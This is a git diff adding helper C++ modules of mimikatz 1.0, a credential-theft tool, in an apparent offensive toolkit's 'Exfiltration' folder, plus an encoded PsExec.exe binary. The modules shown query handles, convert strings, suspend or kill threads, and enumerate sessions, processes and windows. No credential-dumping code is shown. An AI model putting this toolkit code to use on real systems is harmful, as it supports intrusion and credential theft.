mod_system::getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo) +{ + bool reussite = false; + + if(PNT_QUERY_OBJECT NtQueryObject = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "NtQueryObject"))) + { + DWORD tailleRequise = 0; + + if(NtQueryObject(monHandle, typeInfo, NULL, 0, &tailleRequise) == STATUS_INFO_LENGTH_MISMATCH) + { + *buffer = new BYTE[tailleRequise]; + if(!(reussite = NT_SUCCESS(NtQueryObject(monHandle, typeInfo, *buffer, tailleRequise, &tailleRequise)))) + { + delete[] buffer; + } + } + } + + return reussite; +} + +bool mod_system::getHandleType(HANDLE monHandle, wstring * strType) +{ + bool reussite = false; + + BYTE * monBuffer = NULL; + if(reussite = getHandleInfo(monHandle, &monBuffer, ObjectTypeInformation)) + { + POBJECT_TYPE_INFORMATION typeInfo = reinterpret_cast(monBuffer); + strType->assign(typeInfo->Name.Buffer, typeInfo->Name.Length / sizeof(wchar_t)); + delete[] monBuffer; + } + return reussite; +} + +bool mod_system::getHandleName(HANDLE monHandle, wstring * strName) +{ + bool reussite = false; + + BYTE * monBuffer = NULL; + if(reussite = getHandleInfo(monHandle, &monBuffer, ObjectNameInformation)) + { + PUNICODE_STRING typeName = reinterpret_cast(monBuffer); + strName->assign(typeName->Buffer, typeName->Length / sizeof(wchar_t)); + delete[] monBuffer; + } + return reussite; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_system.h b/Exfiltration/mimikatz-1.0/modules/mod_system.h new file mode 100644 index 0000000..7f41190 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_system.h @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_ntddk.h" +#include +#include +#include +#include + +class mod_system +{ +private: + static bool getHandleInfo(HANDLE monHandle, PBYTE * buffer, OBJECT_INFORMATION_CLASS typeInfo); + +public: + static wstring getWinError(bool automatique = true, DWORD code = 0); + + static bool getUserName(wstring * monUserName); + static bool getComputerName(wstring *monComputerName); + static bool getVersion(OSVERSIONINFOEX * maVersion); + + static bool isFileExist(std::wstring &fichier, bool *resultat); + static bool getCurrentDirectory(wstring * monRepertoire); + static bool getAbsolutePathOf(wstring &thisData, wstring *reponse); + static bool getSystemHandles(vector * mesHandles, DWORD * pid = NULL); // type ?? + static bool getHandleType(HANDLE monHandle, wstring * strType); + static bool getHandleName(HANDLE monHandle, wstring * strName); + + static OSVERSIONINFOEX GLOB_Version; +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_text.cpp b/Exfiltration/mimikatz-1.0/modules/mod_text.cpp new file mode 100644 index 0000000..98de950 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_text.cpp @@ -0,0 +1,101 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_text.h" + +PRTL_INIT_STRING mod_text::RtlInitString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitString")); +PRTL_INIT_UNICODESTRING mod_text::RtlInitUnicodeString = reinterpret_cast(GetProcAddress(GetModuleHandle(L"ntdll"), "RtlInitUnicodeString")); + +wstring mod_text::stringOfHex(const BYTE monTab[], DWORD maTaille, DWORD longueur) +{ + wostringstream monStream; + for(DWORD j = 0; j < maTaille; j++) + { + monStream << setw(2) << setfill(wchar_t('0')) << hex << monTab[j]; + if(longueur != 0) + { + monStream << L' '; + if ((j + 1) % longueur == 0) + monStream << endl; + } + } + return monStream.str(); +} + +wstring mod_text::stringOrHex(const BYTE monTab[], DWORD maTaille, DWORD longueur, bool ligne) +{ + wstring result; + if(monTab && maTaille > 0) + { + int flags = IS_TEXT_UNICODE_ODD_LENGTH | IS_TEXT_UNICODE_STATISTICS /*| IS_TEXT_UNICODE_NULL_BYTES*/; + if(IsTextUnicode(monTab, maTaille, &flags)) + { + result.assign(reinterpret_cast(monTab), maTaille / sizeof(wchar_t)); + } + else + { + if(ligne) + result.assign(L"\n"); + result.append(stringOfHex(monTab, maTaille, longueur)); + } + } + else result.assign(L""); + + return result; +} + +void mod_text::wstringHexToByte(wstring &maChaine, BYTE monTab[]) +{ + wstringstream z; + unsigned int temp; + for(size_t i = 0; i < maChaine.size() / 2; i++) + { + z.clear(); + z << maChaine.substr(i * 2, 2); z >> hex >> temp; + monTab[i] = temp; + } +} + +bool mod_text::wstr_ends_with(const wchar_t * str, const wchar_t * suffix) +{ + if(str && suffix) + { + size_t str_len = wcslen(str), suffix_len = wcslen(suffix); + return wstr_ends_with(str, str_len, suffix, suffix_len); + } + return false; +} + +bool mod_text::wstr_ends_with(const wchar_t * str, size_t str_len, const wchar_t * suffix, size_t suffix_len) +{ + if(str && suffix && (suffix_len <= str_len)) + return (_wcsnicmp(str + str_len - suffix_len, suffix, suffix_len) == 0); + return false; +} + +wstring mod_text::stringOfSTRING(UNICODE_STRING maString) +{ + return wstring(maString.Buffer, maString.Length / sizeof(wchar_t)); +} +string mod_text::stringOfSTRING(STRING maString) +{ + return string(maString.Buffer, maString.Length); +} + +void mod_text::InitLsaStringToBuffer(LSA_UNICODE_STRING * LsaString, wstring &maDonnee, wchar_t monBuffer[]) +{ + RtlCopyMemory(monBuffer, maDonnee.c_str(), (maDonnee.size() + 1) * sizeof(wchar_t)); + RtlInitUnicodeString(LsaString, monBuffer); +} + +LUID mod_text::wstringsToLUID(wstring &highPart, wstring &lowPart) +{ + LUID monLUID = {0, 0}; + wstringstream z; + z << highPart; z >> monLUID.HighPart; + z.clear(); + z << lowPart; z >> monLUID.LowPart; + return monLUID; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_text.h b/Exfiltration/mimikatz-1.0/modules/mod_text.h new file mode 100644 index 0000000..aeadd95 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_text.h @@ -0,0 +1,31 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include +#include + +using namespace std; + +class mod_text +{ +public: + static PRTL_INIT_STRING RtlInitString; + static PRTL_INIT_UNICODESTRING RtlInitUnicodeString; + + static wstring stringOfHex(const BYTE monTab[], DWORD maTaille, DWORD longueur = 0); + static wstring stringOrHex(const BYTE monTab[], DWORD maTaille, DWORD longueur = 32, bool ligne = true); + static void wstringHexToByte(wstring &maChaine, BYTE monTab[]); + + static wstring stringOfSTRING(UNICODE_STRING maString); + static string stringOfSTRING(STRING maString); + + static bool wstr_ends_with(const wchar_t * str, const wchar_t * suffix); + static bool wstr_ends_with(const wchar_t * str, size_t str_len, const wchar_t * suffix, size_t suffix_len); + + static void InitLsaStringToBuffer(LSA_UNICODE_STRING * LsaString, wstring &maDonnee, wchar_t monBuffer[]); + static LUID wstringsToLUID(wstring &highPart, wstring &lowPart); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp b/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp new file mode 100644 index 0000000..d57b4f4 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_thread.cpp @@ -0,0 +1,77 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_thread.h" + +bool mod_thread::getList(vector * monVecteurThreads, DWORD * processId) +{ + bool reussite = false; + + HANDLE hThreadsSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0); + if(hThreadsSnapshot != INVALID_HANDLE_VALUE) + { + THREADENTRY32 monThread; + monThread.dwSize = sizeof(THREADENTRY32); + + if(reussite = (Thread32First(hThreadsSnapshot, &monThread) != 0)) + { + do + { + if(!processId || (*processId == monThread.th32OwnerProcessID)) + monVecteurThreads->push_back(monThread); + } while(Thread32Next(hThreadsSnapshot, &monThread)); + } + CloseHandle(hThreadsSnapshot); + } + + return reussite; +} + +bool mod_thread::suspend(DWORD & threadId) +{ + bool reussite = false; + + HANDLE monHandle = OpenThread(THREAD_SUSPEND_RESUME, false, threadId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + SuspendThread(monHandle); + CloseHandle(monHandle); + } + + return reussite; +} + +bool mod_thread::resume(DWORD & threadId) +{ + bool reussite = false; + + HANDLE monHandle = OpenThread(THREAD_SUSPEND_RESUME, false, threadId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + ResumeThread(monHandle); + CloseHandle(monHandle); + } + + return reussite; +} + +bool mod_thread::stop(DWORD & threadId, DWORD exitCode) +{ + bool reussite = false; + + HANDLE monHandle = OpenThread(THREAD_TERMINATE, false, threadId); + if(reussite = (monHandle && monHandle != INVALID_HANDLE_VALUE)) + { + TerminateThread(monHandle, exitCode); + CloseHandle(monHandle); + } + + return reussite; +} + +bool mod_thread::quit(DWORD & threadId) +{ + return PostThreadMessage(threadId, WM_QUIT, NULL, NULL) != 0; +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_thread.h b/Exfiltration/mimikatz-1.0/modules/mod_thread.h new file mode 100644 index 0000000..a2f62f9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_thread.h @@ -0,0 +1,19 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include + +class mod_thread +{ +public: + static bool getList(vector * monVecteurThreads, DWORD * processId = NULL); + + static bool suspend(DWORD & threadId); + static bool resume(DWORD & threadId); + static bool stop(DWORD & threadId, DWORD exitCode = 0); + static bool quit(DWORD & threadId); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp b/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp new file mode 100644 index 0000000..97c5fb0 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_ts.cpp @@ -0,0 +1,106 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_ts.h" + +bool mod_ts::openServer(HANDLE * phServer, wstring * server, bool testIt) +{ + bool reussite = false; + + if(reussite = !server) + { + *phServer = WTS_CURRENT_SERVER_HANDLE; + } + else + { + wchar_t * serverName = _wcsdup(server->c_str()); + *phServer = WTSOpenServer(serverName); + delete[] serverName; + reussite = *phServer != NULL; + } + return reussite; +} + +bool mod_ts::closeServer(HANDLE hServer) +{ + if(hServer != WTS_CURRENT_SERVER_HANDLE) + WTSCloseServer(hServer); + + return true; +} + +bool mod_ts::getSessions(vector * mesSessions, wstring * server) +{ + bool reussite = false; + + PWTS_SESSION_INFO tabSessions; + DWORD nbSessions = 0; + HANDLE hServer = NULL; + + if(openServer(&hServer, server)) + { + if(reussite = WTSEnumerateSessions(hServer, 0, 1, &tabSessions, &nbSessions) != 0) + { + for(DWORD i = 0; i < nbSessions; i++) + { + KIWI_WTS_SESSION_INFO a = {tabSessions[i].SessionId, tabSessions[i].State, tabSessions[i].pWinStationName}; + mesSessions->push_back(a); + } + WTSFreeMemory(tabSessions); + } + closeServer(hServer); + } + + return reussite; +} + +bool mod_ts::getProcesses(vector * mesProcesses, wstring * server) +{ + bool reussite = false; + + PWTS_PROCESS_INFO tabProcess; + DWORD nbProcess = 0; + HANDLE hServer = NULL; + + if(openServer(&hServer, server)) + { + if(reussite = WTSEnumerateProcesses(hServer, 0, 1, &tabProcess, &nbProcess) != 0) + { + for(DWORD i = 0; i < nbProcess; i++) + { + KIWI_WTS_PROCESS_INFO a = { + tabProcess[i].SessionId, + tabProcess[i].ProcessId, + tabProcess[i].pProcessName + }; + + wstring user; + wstring domain; + if(mod_secacl::sidToName(tabProcess[i].pUserSid, &user, &domain, server)) + { + a.userSid.assign(domain); + a.userSid.push_back(L'\\'); + a.userSid.append(user); + } + else if(!mod_secacl::sidToStrSid(tabProcess[i].pUserSid, &a.userSid)) + { + if(tabProcess[i].pUserSid) + { + a.userSid.assign(L"erreur SID ; "); + a.userSid.append(mod_system::getWinError()); + } + else + a.userSid.assign(L"n.a."); + } + + mesProcesses->push_back(a); + } + WTSFreeMemory(tabProcess); + } + closeServer(hServer); + } + + return reussite; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_ts.h b/Exfiltration/mimikatz-1.0/modules/mod_ts.h new file mode 100644 index 0000000..6815bb8 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_ts.h @@ -0,0 +1,35 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_secacl.h" +#include "mod_system.h" +#include + +class mod_ts +{ +private: + static bool openServer(HANDLE * phServer, wstring * server = NULL, bool testIt = true); + static bool closeServer(HANDLE hServer); + +public: + typedef struct _KIWI_WTS_SESSION_INFO { + DWORD id; + DWORD state; + wstring sessionName; + } KIWI_WTS_SESSION_INFO, * PKIWI_WTS_SESSION_INFO; + + typedef struct _KIWI_WTS_PROCESS_INFO { + DWORD sessionId; + DWORD pid; + wstring processName; + wstring userSid; + } KIWI_WTS_PROCESS_INFO, * PKIWI_WTS_PROCESS_INFO; + + static bool getSessions(vector * mesSessions, wstring * server = NULL); + static bool getProcesses(vector * mesProcesses, wstring * server = NULL); +}; + diff --git a/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp b/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp new file mode 100644 index 0000000..a54c5b7 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_windows.cpp @@ -0,0 +1,26 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_windows.h" + +BOOL WINAPI mod_windows::enumHWNDCallback(HWND hwnd, pair *> * mesHWNDS) +{ + DWORD processId = 0; + if(DWORD threadId = GetWindowThreadProcessId(hwnd, &processId)) + { + if((mesHWNDS->first == 0) || (processId == mesHWNDS->first)) + { + KIWI_HWND_ENTRY monEntree = {hwnd, processId, threadId}; + mesHWNDS->second->push_back(monEntree); + } + } + return TRUE; +} + + +bool mod_windows::getHWNDsFromProcessId(vector * mesHWNDS, DWORD processId) +{ + return (EnumWindows(reinterpret_cast(enumHWNDCallback), reinterpret_cast(&make_pair *>(processId, mesHWNDS))) != FALSE); +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/modules/mod_windows.h b/Exfiltration/mimikatz-1.0/modules/mod_windows.h new file mode 100644 index 0000000..c5f9887 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_windows.h @@ -0,0 +1,22 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_windows +{ +public: + typedef struct _KIWI_HWND_ENTRY + { + HWND monHandle; + DWORD pid; + DWORD threadId; + } KIWI_HWND_ENTRY, *PKIWI_HWND_ENTRY; + + static bool getHWNDsFromProcessId(vector * mesHWNDS, DWORD processId = 0); +private: + static BOOL WINAPI enumHWNDCallback(HWND hwnd, pair *> * mesHWNDS); +}; diff --git a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp new file mode 100644 index 0000000..57b209e --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.cpp @@ -0,0 +1,29 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_winsta_desktop.h" + +BOOL CALLBACK mod_winsta_desktop::EnumWindowStationProc(_In_ LPTSTR lpszWindowStation, _In_ LPARAM lParam) +{ + reinterpret_cast *>(lParam)->push_back(reinterpret_cast(lpszWindowStation)); + return TRUE; +} + +BOOL CALLBACK mod_winsta_desktop::EnumDesktopProc(_In_ LPTSTR lpszDesktop, _In_ LPARAM lParam) +{ + reinterpret_cast *>(lParam)->push_back(reinterpret_cast(lpszDesktop)); + return TRUE; +} + + +bool mod_winsta_desktop::getWinstas(vector * mesWinstas) +{ + return (EnumWindowStations(EnumWindowStationProc, reinterpret_cast(mesWinstas)) != 0); +} + +bool mod_winsta_desktop::getDesktops(vector * mesDesktop) +{ + return (EnumDesktops(NULL, EnumDesktopProc, reinterpret_cast(mesDesktop)) != 0); +} diff --git a/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h new file mode 100644 index 0000000..34b9a94 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/modules/mod_winsta_desktop.h @@ -0,0 +1,18 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" + +class mod_winsta_desktop +{ +private: + static BOOL CALLBACK EnumWindowStationProc(_In_ LPTSTR lpszWindowStation, _In_ LPARAM lParam); + static BOOL CALLBACK EnumDesktopProc(_In_ LPTSTR lpszDesktop, _In_ LPARAM lParam); + +public: + static bool getWinstas(vector * mesWinstas); + static bool getDesktops(vector * mesDesktop); // ! +}; diff --git a/Exfiltration/mimikatz-1.0/tools/PsExec.exe b/Exfiltration/mimikatz-1.0/tools/PsExec.exe new file mode 100644 index 0000000000000000000000000000000000000000..ed674807d6049ba54db25e032c9ec662a963f0f0 GIT binary patch literal 381816 zcmeFaad=eKwKsewnS=o*%zzV!8f1_OjRrM3pov5300~4*a3&!WA_Pz|9Y@+?m_fV} zOgu@O;V?+=i?`letWxN$ZN06nR={gDA(#Y31yQ78ZQ4ugjuSO1LeQA={eJt*BmwRB zyzle<@jcJ?eCV9B&)#dVz4qE`uf5jV`<#^Dx=l${6vd36t}Du3-1*NdumATKf#M0% zo|~XNGxpW#drf7pPG1tdYn^j#{rA69f7^GRcii^9?|nb)y!}pRedK%2yT0cvzNOOn z-S4ly^U92jajpdFxgWjJy5XVcPb7c$oGCa_f#-Y9Ty`QT?^m6;TbBRvM5lbd;lwBM zo_pdxdA~y5EAF}@NF4u+Vqb}(l$p%RV^eCZ-1skfS01-WrhQ~iC;u8HAYoZS-iL3@REpnBQM#EpoTeP_Cho+)=hKu8 zQ<4v8_Kp-Kd*tzJsV5GmkgAb?pflSbeI##G>dNq)8^U=0mqlokbg{1->{0)mX!gqb z)whLjQ&MRtfH%Gd*LG$7y81g%B>Rd!D=!1) z)33n+<^TWh|4k04eU?DAw$bGXd8_rzCvKas1lO*{WjQW-=975#>6uUAruDa+4(Eo< zv0|6i7n)w(RqVzO`Q0B@i8yd$p0LYaFIFyN#R~DWGDTSdAgfRO2ubawTJ?a7U6KFPzVJ?qK3{Pk0R3xs zJ`XlkY8h>~RcVB=u`LpzKf2Miv9noLP;id{g!iq9`$LKQw#5BMxTi(exR&6z z9KX3h`vmfkEX6N~-x~cGI-RRcT>?@;n*+3kQmdm&Tx(FeRzHdnaQKA_EJrE}9K~=r zD*QeI6}!p+z-N&P0J59In+rVo$v#d;A4ATOF39%sE5zTw(sfOsO3R0lxuG(#pPZIM zBy+n;*aropQEjIg6Z&d|y*7!oE zkmA=fm)x-c!n714)Y29i*9BPiG`>2x8`2SM#pRrdx=XPw0A#orLzP{Dd9}u`AI9@+ z5SHyj^Sm+NihngX#LdzJyRhVG==-1Td(t!n%CuPQ&%GoSeH~(`yhP9t|hiTr73=2 zbtnZDf{6;YJwEdy&lmN_v=YS^L~re~cnyo8szORYcEliNZ6Y@sb`{(91X9TRQlF%g z%m|2nP*o*9z!k&l!*Ep$^CnlD69$Y=b|l{~r8}!ayg=A3E~&!6U9e~6irQuFL&6P) zsRzQt+T_roran&B(6`a(l91vPvm}HyM2Ysz=Rj?AEzvU{$5>z}%lsI(dK9fLgPzqh zx1n(e#h9i8#L`h&6$qw00CXrie7jWLZ{h~BgW8-&02{JY0D%K^9tZD&p>YP~!O&8_ zCM5O2(5(c?f?A)Y^@FNxP=yAaz^{m{>{yvAtRAqs+c3(2EW^)--xB3a*X2d));jJw_&BVCe?PO)mBm?u*}~aV5G`|gk)20Vm@$?R@Cn0(zz@#l*#pGXBLzn#?^hW`URF_B3~5SVA^c=Hop-$o7Xij zwO=#G2n0F!M?l=SNKxD;AaU*w3#T$WT=XJu+LYMrtk{jp=5ehP<}YkM7&)!kV)vM~ zZJs!fh)VKai_QHn0;c{+y+Mf_hQPKuvX*u5o{f8w9%(FCwJF;E*jf|uS-e1YHm?(k z&Ee_agsBUr+5;6n@z+u*EG`I3^lH;}E8T4?_S=;tqQt$aFB?lla!GA=W#LI{cDZo7 z!j2ACYCBx{cnE0ExN>o?4&Sc|Q}|LBHh~qPTBS} zyJn*X!3%krdBtY{507!T^|qmWbY*Qotizhoy9@cy4tiz}u{_KtQ}XGDc&ZX>hIGAB z8-TRXcyR=+tq?KHQEAdZCgdW6dv1P~R}l-0*$jo{tN@S=I9*fnsRJCVtc=!%! z?Sa_Zlse6>wx!gyyb<|aj-2JlfH&`x*lHKJHnA@1n4q@H(oa^5)HDXHsn3B%M#jsI zrz-797n`mE;r8H`C^`WS$W=+VhkGfOfRG#5_=iu8BI!yFJ^QH zMj6<$7C0(^!wC*RmlXq8ect6n8;Y&vS==fE)j&hNNQ!Dm4}ZGjNnKxy8k4=58x&mQr79d$=r$8Wze!2I;I~IdyZ)+eYo%aw;2XvrJnf+<_*{X0r%;`yiL{a z4>|ue^Pb>w)bok2Zsg3hV8O}Otb2lO$n*;_oH=Hp$G!1L+^Jn~ljqYvQdS!#VLi}_ z_n4#RJ=*w%H+nwV_=!Fq6Wmc%Ar5>=t`S?B1m*vbIpe82ypmu{Eo}iY{ff z=;8YVpwhj`KSE#aFe#(xD;>`KKcvrP(6?fkKzG~9Bz-Gumq8akc215R= zhE3(G4v4Ry-*CGY(#KKqSBpHDpz49_fHq*r47)l?WYoTF#6CFQRRORQZkx1v4Kbvo zaD1s3B4gm908vM^T&AVn<6_wWW*>bbyAKu&hZKY8RU!7Kutz_d_mVMMGr$nLe;6Y2 zUce30m_jUhFEO7pZ~#5G)aXCt!2&AHfpY{<5}2~0gI=K%IR9C15B)R#foGqBXSn@D z^2?rRex)3SQ4B--=Hw7y%;X4w1Cf-K9aK$@Ds7Dm%!c`gNuK4es;sCM15$T5Af1^> zX;g=1hb>J*oY9e-%4*Rf7Y$2uTf{j6;tcO;8u~kohwyLX<3SK5I-cS_jX)e(lgM$m zwVcM#*tWN=#JG~aVHrshxDhG`9<#6+UEGVCdf=P8=$8sM5K|AG(RDQSqH=+v6saKM z-V5O*2WLU-;Yd?d8SqPcQMs5VF?@Imd{9A$V0-DAYXAX3_!bIi)k!7f3!Tz4*P;M) zg^7XF)>sCCY7F|b0l8QSYeodLPA#%?szw~4&yC7KJ_EyQzy^Y)phwIo!7Oa^`oth0 zZ7-$~q7?KO1P?O@jOZASmImOMV8IaI({D zUP`h#8_d_Vt>~z%MxX$LK}w)>F~gQ4S*;yM2!nv=U$6{S{qP@-VCB*Jffbe0S1x1q zKxN2OE!M&f3WzPzba$*=_LOOqw9)^!VmTktM;1Ia7Foy=s3lt0;ptRJ=HP15C_eeN zp^y+7!iZS>qUc&cZgH_5G|wB?Q}YmIg2hdJ^qxlW(-;9_I!4rYb8&}jiI8P6Qg!gQ zEp>$xA{VX%{lH3SVBILO5>bZ_!<{c_sStO97I&Lej{&SDjO;q`bK#eZA3c8h|8$LJ z;g?0tl7+rFKzRY9470GD=B7d)(#uD>07*sMGly<&WK3ro*BHo3H_ag8(m4>VM#Q?DnklG`Mhf`61L`_A0@>sLWh3Ns&^-)Stosa(DBN#aJ zJi8)pt*#7i;1ihQ6EllIS`imROjaz)v;ww)HJmd`kOtz3`djKiT4WrS!nYTyL*wdu zYAeM-tN|Pw(5*7EB>g|IuIT`~J~Fi=OTZ5hF*5$yctY>ooE0wl?0dp|7S_Ipb)_u^*~nKS?xpDU6MV1F&??ludb>GoiqzI}C9SPF zZq+5$!MZ(dMLW%PZl-B_Ko<5{@ctAouf-H#sn=u5T95bY}9bS8d={8 zI*}BvB+joe;h?axp=Eqxzg%^or{b4a2cLjci9t3=%HA@R1V9}=@gKu*DNmUwH)t>s zj@%910jWX8u+&rr5XiCGo?V!$Ep}-Er%zj$?bjA(RcHYR(ssY?*~L~oAa1TQy zAMX^uKHMpD1cMklAp`|C1XG7KQN#{ z>(=>7Cp3{s943p%t6v%*jYVUrb0Hm2L%v`NWL3PIkNuT2=9>%&-{N``V&oTpL;(c) zFdizzukc`dv2>i~vucP$L%L@B#oxgRu)hEjkenQcAe0p$-6z(ef{cbEumR!iJq5~u ztsCW_&4JyBykqe(iFl)Jj|Ki^ij3AAjC>LZo{V9nCnc$mbE52UWshY)t?HM$t$8QV zg=UGhZV2!e$;yz@N}DPRMmyR$j&|VOL!$GerCG?I6|`UOMOHSlW<^V#sFe$RT=b)B z&7EGW65U{r1|3nKtF<&&JW#ACcb#DH1+%ge+O8CxC`tj=$oB%lXGq>U@|4Uile60z zdvaMYrj#86??5|X6RF7NCZCITM7F;IMS~dg$|`7uEiQoyevD?ml;l}3 zqQ>@eqn}8`f5VP3oUljGbRC!lZp@7IH~CL09CBnB_Qa*0u=egudYLNqo028 z0m0T&L-6^>E^)@YEF_) z#3a2U;1dz406@B}`3u_aTU=Ijoe;;9O+P4`h7}ps9dO*qWJ)N%j^ICb9R^`wdEdC1E zu33PT*6q~lU?~xIfO8V@4vF~qDak9fVL%Dn^~`L7mkfY3>A`iz?(D;&tCbJBUlq4s zjc)(Fc36ELVqo$xao$%74HA-wF(NiRajk&JViy&LtJlX8dNk^d7};Zb1}2a7s^El6bLoOQeIXrrE`R9GN-;A}Q9K=CR}q2*N_eU-I6$@!uqG${ z400T*1!^&VFA{K~0ex>ZHh_+iME*A+OBvi#>2M9R2NM__*>ndQs?Q2 zd|a?YTAkrZ1gQuLHuC5~gFJB1r-R`bAdEnY`@=1_#sK=n&?ngB;JJWmaMKaA0GCfZCPmDO;SFnKuRS!*FK(3P3nwf$ zhmlnwt~IiZcrg{B5}pNhB%|_@JqYeg_H2SkbM(LhY|;)hr<%hl+w_aPWSfz#@Q^U< zU=X_~MLof!^ef3E>$yy-+`Qanp%d<)q2j2Pfu+!_fOtgOJS5o8$EfiriG?LKAz+a9 zKUlm#S^#!+V$5`?pRZ}Oy27%BDY5Xvl*n!)d@(#s(maCI>y2b_h&iczYG(>G?0o5U zTUT`K+khbe)}MgSN}Xn}^Gu9fg1we-W}SwXJpPo34F?R=b~86%-gCFb(=KjPkLwU2 z2d1wbcrDmI`@LbGuIONQo=X}s;Y>6s1B_e|KT5V4fEaS0`5fPp5(WJp!j9|92nRoY zzgJnklSKKN`sl;RS$cKJfE$YcBovn~R?@$E7XhMo3N2#MN*r!I`o|tvcRt&m5<4#C zR)26Kx)*!+Byuan?XYFA(nK2uV=c!C7mK}%n?F$=5W#N&TMJRd#~R^G?M~5EG6=$T zP3E6DesSB37S__r`&UOZ*nW*vuqUBlO|u{yqZF*#XO#oLSHZdo$+W_sz~qLkVU>7> zltIV>FcKZ&!@wptKnj?aW!t0pD|`XbE171;2_-AzfefdQ=qo#(v}P%bl{7^u z-B9VADZreK?I|>ut!F+1<%s4TR7>#XVr*-mT6}StlwsKX2$G_L%P-cTDEQcr-{jimYIEDsALV9 z#7}R8A@X53pHl-int11ZuFg3Es=J3-ETnUIpp&$LP!O~z4h#hO8spxapFj8vZe5&E3w;m09aSly4zr~ zLG2Cy+v`wL74ZXvXh!KkWN8^B8JaK)50&l{l|1VMV|duvv$aftlp<_J9~NCX1pEPw zyAlp#&nKurj6s|Wy9^);u`IdIRU{zWwwAYX<%|xR2-WOz;+C}TDl1!;JFpj2S2&fu z4zEXfHo<%;+Y;mLdBt!&QrluM98mTGA+eEE@6aY=yw_WY+&uC6 z$&oy4Gp*0u>^EH>Fhwp=2U6BsHqT4B9t-_MiXLXt0wp??Y>iKYYOp7^ucRhV2B@JZ zIBr@dIaG;w*9cFVsh?M@CAhH-%pSw-CbENXYb8-mwT9p*|a0^HC--0YT zhFpLgcz{Y_8x){phVa~lO&vzsN6U}{;dycil3G!vXL3Nm_KZ<%kL0sY?t_#TY|0_r zTkOOL!K^-|ALXe&Ip{oeXfzZ4#mZ&CMA1Pv?4Se^#D3iElBO9llKn^u6dEvB8prFn zS(XZtlt$mvCS$7%0rDX|lD6U+?D|r$M`$SpWnqiO4ANbg4O(N$Jss>#MCAaluyy zWjJ>-xaIU<2eaOKFV6sFd*EHIn+9fkwK?x%Y(pl4>2l9_B6?ojshAKBdCCL@=IUrH zBBzw_MRH#j>g_n|C?j^g~v)FYp+;-?Z?xZj(nfn6T 